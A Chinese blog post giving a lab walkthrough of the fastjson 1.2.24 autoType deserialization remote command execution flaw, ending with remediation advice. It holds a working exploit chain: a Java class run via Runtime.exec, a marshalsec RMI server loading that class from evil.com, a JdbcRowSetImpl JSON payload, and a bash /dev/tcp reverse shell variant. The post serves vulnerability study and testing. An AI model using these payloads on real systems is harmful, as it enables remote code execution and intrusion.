fastjson 1.2.24 反序列化导致任意命令执行漏洞

1  什么是fastjson

FastJson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。由于它使用简单,高效与灵活,吸引了很多开发者的使用。

2  漏洞详情

    fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。 通过查找代码中相关的方法,即可构造出一些恶意利用链。攻击者可利用恶意json数据中的@type字段来触发漏洞,通过fastjson的反序列化功能执行恶意代码。

    漏洞的根源在于fastjson引入了AutoType功能,导致在反序列化过程中读取@type字段并调用相应类的setter方法。

    受影响版本范围: fastjson<=1.2.24

3  环境配置

docker-compose up -d

此次复现为了方便,靶机和攻击机都是kali Linux(192.168.159.128)

docker ps查看开放端口

访问http://ip:端口,环境搭建成功

4  漏洞复现

攻击过程:

1. 构造恶意序列化数据:攻击者需要构造一个特定的恶意序列化数据,通常是通过序列化一个恶意对象来实现。攻击者可以利用fastjson的特性,如自定义序列化器、反序列化回调等,来执行恶意代码。

2. 传递恶意序列化数据:攻击者需要将构造好的恶意序列化数据传递给目标系统。这可以通过网络传输、文件上传、参数传递等方式实现。

3. 目标系统反序列化:目标系统在接收到恶意序列化数据后,会使用fastjson库进行反序列化操作。由于fastjson存在漏洞,恶意序列化数据可能会导致目标系统执行恶意代码。

4. 恶意代码执行:如果攻击者构造的恶意序列化数据成功触发了fastjson的漏洞,目标系统可能会执行恶意代码。这可能导致系统被入侵、数据泄露、远程命令执行等安全风险。

RMIRemote Method Invocation)服务器是一种基于Java的远程调用机制,用于实现分布式系统中的远程方法调用。它允许在不同的Java虚拟机(JVM)之间进行远程通信和方法调用。 RMI服务器是一个提供远程服务的Java应用程序,它通过注册远程对象并监听指定的端口,等待客户端的请求。当客户端发起远程方法调用请求时,RMI服务器接收到请求后,会执行相应的方法,并将结果返回给客户端。 RMI服务器的主要作用是提供远程服务,使得客户端能够通过网络调用远程对象的方法,而不需要了解底层网络通信的细节。RMI服务器可以在分布式系统中实现各种功能,例如远程计算、远程数据访问、远程对象管理等。 RMI服务器中,需要定义远程接口(Remote Interface)来描述可以被远程调用的方法。RMI服务器会实现该接口,并将其注册到RMI注册表中,以便客户端能够获取和调用远程对象的方法。 总结来说,RMI服务器是一个提供远程服务的Java应用程序,用于接收和处理客户端的远程方法调用请求,实现分布式系统中的远程通信和方法调用。

复现过程

1、检验漏洞是否存在

向这个地址POST一个JSON对象,即可更新服务端的信息

curl http://your-ip:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'

burp抓包,然后更改请求方式,出现fastjson的版本信息

至此,基本可以确定漏洞存在

2、漏洞验证

kali只有java命令,没有javac命令,所以需要重新安装java环境

因为目标环境是Java 8u102,没有的限制,我们可以使用的利用链,借助JNDI注入来执行命令。

com.sun.jndi.rmi.object.trustURLCodebasecom.sun.rowset.JdbcRowSetImpl

构造命令执行代码,该代码的意思是在靶机的/tmp/success上创建文件TouchFile

// javac TouchFile.java

import java.lang.Runtime;

import java.lang.Process;



public class TouchFile {

    static {

        try {

            Runtime rt = Runtime.getRuntime();

            String[] commands = {"touch", "/tmp/success"};

            Process pc = rt.exec(commands);

            pc.waitFor();

        } catch (Exception e) {

            // do nothing

        }

    }

}

javac TouchFile.java 编译TouchFile,得到一个.class文件

利用python开启http服务,传输恶意文件

python -m http.server 5555

靶机访问http://靶机ip:5555即可看到恶意文件

借助marshalsec项目(安装过程是跟着网上教程来的),启动一个RMI服务器,监听9999端口,并制定加载远程类:TouchFile.class

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999

现在用攻击机来请求靶机地址,burp抓包,然后向靶场主机发送我们构造的payload,带上RMI地址

构造的payload如下:

POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160
{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://evil.com:9999/TouchFile",
        "autoCommit":true
    }
}

可见,命令已成功执行

也可查看http访问日志

检测是否在tmp目录上成功创建success文件。

docker ps

docker exec -it your-CONTAINER bash

tmp目录下有success,至此,漏洞复现成功

注:该漏洞可以反弹shell,方法与命令执行一样,构造的payload也与命令执行的一样,这里就不展示了。

修改恶意文件,String[ ] commands的内容要修改为反弹shell的命令

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/攻击者ip端口(反弹shell到攻击机的端口 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }

3.5 修复建议

1、及时更新fastjson库到最新版本,以修复已知的漏洞

2、对于不信任的数据,避免直接使用fastjson进行反序列化操作

3、使用白名单机制,限制反序列化的类和属性,以减少漏洞利用的风险

4、在代码中增加输入验证和过滤,以防止恶意序列化数据的传递

5、配置安全策略,限制fastjson的反序列化能力,以减少漏洞的影响范围

  • 22
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值